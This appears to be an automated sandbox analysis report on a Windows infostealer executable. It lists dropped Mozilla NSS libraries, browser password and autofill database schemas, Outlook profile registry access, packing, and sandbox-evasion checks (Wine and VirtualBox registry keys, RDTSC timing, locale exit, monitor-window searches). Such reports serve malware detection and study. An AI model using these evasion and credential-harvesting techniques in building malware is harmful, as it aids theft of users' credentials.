Source: file.exe, 00000000.00000003.1999293310.00000000296A4000.00000004.00000020.00020000.00000000.sdmp, FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1999293310.00000000296A4000.00000004.00000020.00020000.00000000.sdmp, FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013268D9	0_2_013268D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014818B2	0_2_014818B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01388BFC	0_2_01388BFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139123E	0_2_0139123E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01396276	0_2_01396276
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0138725C	0_2_0138725C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012CEA44	0_2_012CEA44
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01283A43	0_2_01283A43
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139B2F8	0_2_0139B2F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01397D47	0_2_01397D47
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126CDD9	0_2_0126CDD9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139CDC6	0_2_0139CDC6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012A5CB5	0_2_012A5CB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01392CD4	0_2_01392CD4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013947F5	0_2_013947F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012B4EB1	0_2_012B4EB1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0122FE9F	0_2_0122FE9F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01426E86	0_2_01426E86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0138A6E3	0_2_0138A6E3

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00FC45C0 appears 316 times

Source: file.exe, 00000000.00000002.2073058472.000000006F902000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2072925686.000000006C865000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: whtuqxvy ZLIB complexity 0.9949667892524767

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FD8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00FD8680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FD3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00FD3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ZIZPJUQF.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2072603144.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072841823.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2065397303.000000001D4C6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000003.1920330676.000000001D3B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1920570027.000000001D3B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE autofill_profile_names ( guid VARCHAR, first_name VARCHAR, middle_name VARCHAR, last_name VARCHAR, full_name VARCHAR, honorific_prefix VARCHAR, first_last_name VARCHAR, conjunction_last_name VARCHAR, second_last_name VARCHAR, honorific_prefix_status INTEGER DEFAULT 0, first_name_status INTEGER DEFAULT 0, middle_name_status INTEGER DEFAULT 0, last_name_status INTEGER DEFAULT 0, first_last_name_status INTEGER DEFAULT 0, conjunction_last_name_status INTEGER DEFAULT 0, second_last_name_status INTEGER DEFAULT 0, full_name_status INTEGER DEFAULT 0, full_name_with_honorific_prefix VARCHAR, full_name_with_honorific_prefix_status INTEGER DEFAULT 0)p~;
Source: file.exe, 00000000.00000002.2072603144.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072841823.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2065397303.000000001D4C6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2072603144.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072841823.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2065397303.000000001D4C6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2072603144.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072841823.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2065397303.000000001D4C6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2072603144.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072841823.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2065397303.000000001D4C6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2072603144.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2065397303.000000001D4C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2072603144.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072841823.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2065397303.000000001D4C6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1905437381.000000001D3C4000.00000004.00000020.00020000.00000000.sdmp, DAEBFHJKJEBFCBFHDAEG.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2072603144.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2065397303.000000001D4C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2072603144.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2065397303.000000001D4C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: ft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d
Source: file.exe	String found in binary or memory: m/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1861632 > 1048576

Source: file.exe

Static PE information: Raw size of whtuqxvy is bigger than: 0x100000 < 0x1a0600

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2073020222.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2072841823.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2072841823.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2073020222.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.fc0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;whtuqxvy:EW;wenssrso:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;whtuqxvy:EW;wenssrso:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FD9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00FD9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cface should be: 0x1d4aed

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: whtuqxvy
Source: file.exe	Static PE information: section name: wenssrso
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01226922 push ebx; mov dword ptr [esp], eax	0_2_01226926
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0146B940 push 12703FB9h; mov dword ptr [esp], ecx	0_2_0146B974
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0146B940 push 1E193A96h; mov dword ptr [esp], ebp	0_2_0146BA26
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01227131 push 2E13F86Ah; mov dword ptr [esp], edx	0_2_0122714F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01464907 push ecx; mov dword ptr [esp], edi	0_2_01464944
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0144191E push esi; mov dword ptr [esp], eax	0_2_014419CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F315A push 1B945529h; mov dword ptr [esp], edi	0_2_012F3191
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F315A push 019EF28Fh; mov dword ptr [esp], edi	0_2_012F321C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F315A push 18EE1D8Eh; mov dword ptr [esp], edx	0_2_012F3298
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0144C1C6 push edx; mov dword ptr [esp], ebx	0_2_0144C1E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0144C1C6 push 6C0C262Eh; mov dword ptr [esp], esi	0_2_0144C276
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BB1A1 push ecx; mov dword ptr [esp], 7AFF5078h	0_2_013BB1C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014B11FD push 46BB0D95h; mov dword ptr [esp], ebp	0_2_014B12CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014B11FD push ebx; mov dword ptr [esp], esi	0_2_014B132B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01406185 push 78227045h; mov dword ptr [esp], eax	0_2_014061A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FDB035 push ecx; ret	0_2_00FDB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013B31CF push 0A997EF4h; mov dword ptr [esp], ecx	0_2_013B31D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0146204A push eax; mov dword ptr [esp], 78D1BDCCh	0_2_01462075
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0146204A push esi; mov dword ptr [esp], ebx	0_2_014620DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0144284B push ebx; mov dword ptr [esp], edx	0_2_0144285F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01410056 push eax; mov dword ptr [esp], 7D9F096Ah	0_2_01410098
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01410056 push ebp; mov dword ptr [esp], 6FCFCA12h	0_2_01410101
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01410056 push 354527FDh; mov dword ptr [esp], ebx	0_2_01410142
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0143083E push 3B92DA02h; mov dword ptr [esp], eax	0_2_01430869
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0143083E push 29E17C31h; mov dword ptr [esp], edi	0_2_014308BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0143083E push eax; mov dword ptr [esp], esp	0_2_01430923
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013B00BE push 2AA50C00h; mov dword ptr [esp], eax	0_2_013B00C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0145D8D9 push ebx; mov dword ptr [esp], 13F59878h	0_2_0145D916
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0145D8D9 push eax; mov dword ptr [esp], 1BFA2100h	0_2_0145D993
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0143D0E0 push edx; mov dword ptr [esp], ecx	0_2_0143D120
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0143D0E0 push edi; mov dword ptr [esp], 4606C402h	0_2_0143D136

Source: file.exe

Static PE information: section name: whtuqxvy entropy: 7.954002733918087

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00FD9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13532

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A1839 second address: 13A184D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9CF0B4E76Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A1C40 second address: 13A1C44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A1DA6 second address: 13A1DAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A1DAC second address: 13A1DE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0C7B7FFh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F9CF0C7B7FFh 0x00000011 jmp 00007F9CF0C7B803h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A3626 second address: 13A3631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A368C second address: 13A3691 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A3759 second address: 13A3767 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F9CF0B4E766h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A3767 second address: 13A3778 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push edi 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A3778 second address: 13A377C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A377C second address: 13A3796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9CF0C7B7FCh 0x00000013 rdtsc
